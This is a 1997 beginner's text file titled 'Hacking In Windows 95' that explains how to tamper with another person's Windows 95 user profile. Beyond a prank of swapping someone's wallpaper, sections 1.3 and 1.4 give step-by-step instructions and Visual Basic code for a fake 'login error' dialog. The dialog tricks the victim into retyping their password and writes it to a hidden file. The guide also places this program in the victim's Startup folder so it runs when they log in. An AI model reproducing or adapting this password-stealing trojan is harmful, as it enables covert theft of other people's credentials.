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Hacking in Windows 95 - 1.0 by Phluck





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                           Hacking In Windows 95 v1.0
                                  November 1997
                                   By: Phluck
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-1.0 INTRODUCTION-
        This document is about accessing and/or changing settings under
someone else's profile in Windows 95. I have found that despite the fact that
the .pwl files (password files) in Win95 are well encoded and (to my knowledge)
impossible to decode, Win95 doesn't have much security stopping anyone from
changing things about the other user's settings. So pretty much anything
documented in this file is easy to do, I just thought I's share it with anyone
who's just beggining to hack, so they can get some ideas about how hacking works
etc...
_NOTE_ This stuff will probably only work on a home computer, computers at
school,
work etc. use better security programs to prevent you from doing this.

-1.1 THE USER PROFILES-
        Ok, as you probably already know the user's profiles are kept under
c:\WINDOWS\PROFILES\USERNAME\ where USERNAME is the name or login name of the
user. (In case you are wondering the .pwl files are kept in the c:\windows
directory, not in the user's profile directory).

-1.2 CHANGING BACKGROUNDS/SOUNDS-
        Ok, so you want to change someones background to something as a joke.
Well this is really easy, it shouldn't even be considered hacking. Anyway all
you need to know is the name of the .bmp file the have as their background,
or the .wav file they have as their sound. If you don't know it, search the
harddrive .wav or .bmp files and look through them, you should find it
eventually.
Once you have found the file(s) rename it(them) to something else(skip this step
if you don't mind deleting the file), then rename the .bmp you want their
background to look like to what their old background was called and there you
are,
easy.

-1.3 FINDING PASSWORDS-
        Ok, this is a little harder, but it's still easy, and it doesn't involve
the .pwl file. The only real difficulty is that you need to have visual basic
and a little Visual Basic knowledge (like I said, easy). What you need to do
is make a little program that says something like "An error occurred while
logging in, Please re-enter your password" and then it saves the password to
a file and closes the program when you click a button. Compile the program
and hide it in some directory where no one will look.
        Now, open up Windows Explorer (I like to use the old File Manager, but
it just won't work in this situation) and go to:
C:\Windows\Profiles\Joey\StartMenu\Startup\
and drag the file from the other directory to there. It will automatically make
a link to it.
        So now, when they log in, this program will load. Now the crappy part
is that this looks a little suspicious cause the program pops up after
everything
has loaded. But it still seems to work whenever I've used it. Just don't try
it on a computer expert I guess.
        If you have VB but you don't have the knowledge to make that program,
look in the next section.

-1.4 MAKING THAT VB PROGRAM-
        Ok, I'll make really easy for you, maybe too easy:
1. Open Up Visual Basic (Duh)
2. Start a new program (Just a regual .exe)
3. Make the form a little smaller
4. Change the caption of the form to "Error"
5. Put in a Label
6. Change the Caption of the label to "An Error occured while logging in,
Please re-enter your Password" or whatever you want it to say.
8. Make a text box change the text to nothing,
and change the Password character to *
9. Make a Command Button and change the caption to "Ok"
10. On the menu Bar go to "view" then "code"
11. Type "Dim pass" and press enter
12. Close the Code Window
13. Double Click the Ok button
14. Enter the following code:
pass = text1.text
Open "c:\physics.txt" for output as #1
Write #1, pass
end
15. You can change the "c:\physics.txt" to whatever you want, so you can save
the password wherever you want.
16. Compile it! Your finished.

-1.5 MORE INFORMATION-
        If you want to add on to this file, go ahead, just change it to v1.1
and put your name next to mine on top.



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